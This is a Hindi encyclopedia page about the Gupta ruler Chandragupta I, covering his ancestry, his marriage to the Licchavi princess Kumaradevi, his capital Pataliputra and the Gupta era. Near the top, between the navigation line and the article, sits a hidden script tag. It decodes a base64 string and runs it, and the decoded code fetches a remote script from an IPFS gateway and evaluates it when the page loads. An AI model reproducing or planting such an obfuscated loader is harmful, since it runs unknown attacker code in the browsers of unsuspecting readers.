चंद्रगुप्त प्रथम

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चंद्रगुप्त प्रथम / Chandragupt Pratham

नाग राजाओं के शासन के बाद गुप्त राजवंश स्थापित हुआ जिसने मगध में देश के एक शक्तिशाली साम्राज्य को स्थापित किया। इस वंश के राजाओं को गुप्त सम्राट के नाम से जाना जाता है। गुप्त राजवंश का प्रथम राजा `श्री गुप्त`हुआ, जिसके नाम पर गुप्त राजवंश का नामकरण हुआ। द्वितीय राजा महाराज गुप्त था। उसका लड़का घटोत्कच हुआ, जिसका पुत्र चंद्रगुप्त प्रथम 320 ई॰ में पाटलिपुत्र का शासक हुआ। उसने 'महाराजधिराज' उपाधि ग्रहण की और लिच्छिवी राज्य की राजकुमारी कुमारदेवी के साथ विवाह कर लिच्छिवियों की सहायता से शक्ति बढाई। वह एक शक्तिशाली शासक था, चंद्रगुप्त के शासन काल में गुप्त-शासन का विस्तार दक्षिण बिहार से लेकर अयोध्या तक था। [१] इस राज्य की राजधानी पाटलिपुत्र थी। चंद्रगुप्त प्रथम ने अपने शासन काल में एक नया संवत् चलाया ,जिसे गुप्त संवत् कहा जाता है। यह संवत् गुप्त सम्राटों के काल तक ही प्रचलित रहा बाद में उस का चलन नहीं रहा।

टीका टिप्पणी और संदर्भ

  1. 'अनुगंगाप्रयागं च साकेतं मगधान्स्तथा।
    एतांजनपदान्सर्वान् भोक्ष्यन्ते गुप्तवंशजः ।।'